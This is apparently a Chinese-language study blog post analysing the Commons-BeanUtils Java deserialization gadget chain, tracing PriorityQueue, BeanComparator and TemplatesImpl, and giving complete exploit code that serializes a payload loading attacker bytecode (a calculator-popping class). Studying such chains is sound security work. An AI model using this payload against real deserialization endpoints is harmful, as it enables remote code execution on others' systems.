java反序列化之CB CommonsBeanUtils 简介 Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean 。
先说说什么是 JavaBean。
一般 JavaBean 的格式就是private的字段和对字段进行读写操作的public方法,最常见的就是getter和setter。
CommonsBeanUtils 这个包也可以操作 JavaBean,例如:
1 2 3 4 5 6 7 8 9 10 11 public class Baby { private String name = "abc" ; public String getName () { return name; } public void setName (String name) { this .name = name; } }
这里定义了两个简单的getter和setter,如果用@Lombok的注解也是一样的,使用 @Lombok 的注解不需要写 getter和setter。例如:
1 2 3 4 5 6 @Data public class User { private String name; private int age; }
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下:
1 2 3 4 5 6 7 8 9 package org.example;import org.apache.commons.beanutils.PropertyUtils;public class test { public static void main (String[] args) throws Exception{ System.out.println(PropertyUtils.getProperty(new Baby (),"name" )); } }
此时,Commons-BeanUtils 会自动找到name属性的getter,然后调用并获得返回值。这种形式是有可能实现任意函数调用的。
CB 链分析 链尾 链子的尾部是通过TemplatesImpl动态加载字节码进行攻击的,来看一下链子:
1 2 3 4 5 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
在链子的开头TemplatesImpl#getOutputProperties()这个方法就是一个getter,而且作用域是public,所以可以通过 CommonsBeanUtils 中的 PropertyUtils.getProperty() 方式获取。
所以我们这里的PropertyUtils.getProperty()的参数应该这么传:
1 2 PropertyUtils.getProperty(TemplatesImpl, outputProperties)
中间部分 接下来看看谁调用了PropertyUtils.getProperty()。BeanComparator.compare()中调用了PropertyUtils.getProperty方法,而这个方法经常被其他方法调用。继续找谁调用了compare()方法,参考之前的链子,这里用PriorityQueue这个类,这个类的siftDownUsingComparator() 方法调用了 compare()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
剩下的就和 CC4、CC2的一样了,回顾一下调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 PriorityQueue.readObject() PriorityQueue.heapify() -> PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() -> BeanComparator.compare() -> PropertyUtils.getProperty(TemplatesImpl, outputProperties) -> TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses()
CB 链 EXP 编写 尾部——利用 TemplatesImpl 动态加载字节码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class test { public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"abc" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{code}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); templates.newTransformer(); } }
这里和之前的 CC4、CC2 相比用函数简化了一部分代码。
中间 EXP 先看一下BeanComparator.compare()方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public int compare ( T o1, T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException ( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException ( "NoSuchMethodException: " + nsme.toString() ); } }
先判断this.property是否为空,如果为空,则直接比较两个对象;如果不为空,则调用PropertyUtils.getProperty()分别取两个对象的this.property属性并比较值。
如果需要传值比较,就要新建一个PriorityQueue队列,并让其有两个值进行比较,而且PriorityQueue的构造函数当中就包含了一个比较器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class test { public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"abc" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{code}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); final BeanComparator<Object> beanComparator = new BeanComparator <>(); setFieldValue(beanComparator, "property" , "outputProperties" ); final PriorityQueue<Object> queue = new PriorityQueue <>(2 , beanComparator); queue.add(templates); queue.add(templates); } }
成功弹出计算器。
结合入口的 EXP 我们需要控制在序列化的时候不弹出计算器,在反序列化的时候弹出计算器,所以通过反射来修改值。
因为在add时就会触发compare()方法,所以我们先给add传无关量,然后反射修改。
完整 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class test { public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"abc" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{code}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); final BeanComparator<Object> beanComparator = new BeanComparator <>(); final PriorityQueue<Object> queue = new PriorityQueue <>(2 , beanComparator); queue.add(1 ); queue.add(1 ); setFieldValue(beanComparator, "property" , "outputProperties" ); setFieldValue(queue,"queue" ,new Object []{templates,templates}); serialize(queue); unserialize("ser.bin" ); } }
接下来理清链子的逻辑:
反序列化时,调用了PriorityQueue的readObject()方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
读取到两个TemplatesImpl对象并放到新的数组中,然后调用heapify()进行重建。这就是为什么会有setFieldValue(queue,"queue",new Object[]{templates,templates})这一步。此时PriorityQueue的内部状态为:数组中有两个TemplatesImpl对象,size属性为2,comparator属性为beanComparator。
然后调用heapify()方法:
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
其中调用了siftDown(0, templates):
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
由于一开始已经传入comparator,所以会调用siftDownUsingComparator(0, templates):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
此时就会调用beanComparator.compare(templates, templates)。
进入BeanComparator.compare()阶段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public int compare ( T o1, T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException ( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException ( "NoSuchMethodException: " + nsme.toString() ); } }
在 EXP 中我们已经反射将property设置为outputProperties,所以就会调用PropertyUtils.getProperty(templates, "outputProperties"),从而达到了我们在分析时想要的效果。
至此,利用链思路梳理完毕。
接下来是对部分 EXP 代码的解释:
1 final PriorityQueue<Object> queue = new PriorityQueue <>(2 , beanComparator);
这里传了一个2,来看一下构造器:
1 2 3 4 5 6 7 8 9 public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException (); this .queue = new Object [initialCapacity]; this .comparator = comparator; }
这个构造器中对queue这个数组进行一个初始化,确定要放几个恶意类,和 EXP 中反射修改该数组对应。
总结 这个链子正着看其实很好理解,但是反着来推比正着来读还是要难一点的。目前我找链子的理解就是:先主要看对应方法的调用,找完这个链子之后再把对应参数放进去,从入口开始推一遍,确定其中的参数传递没有问题并且能够实现调用即可。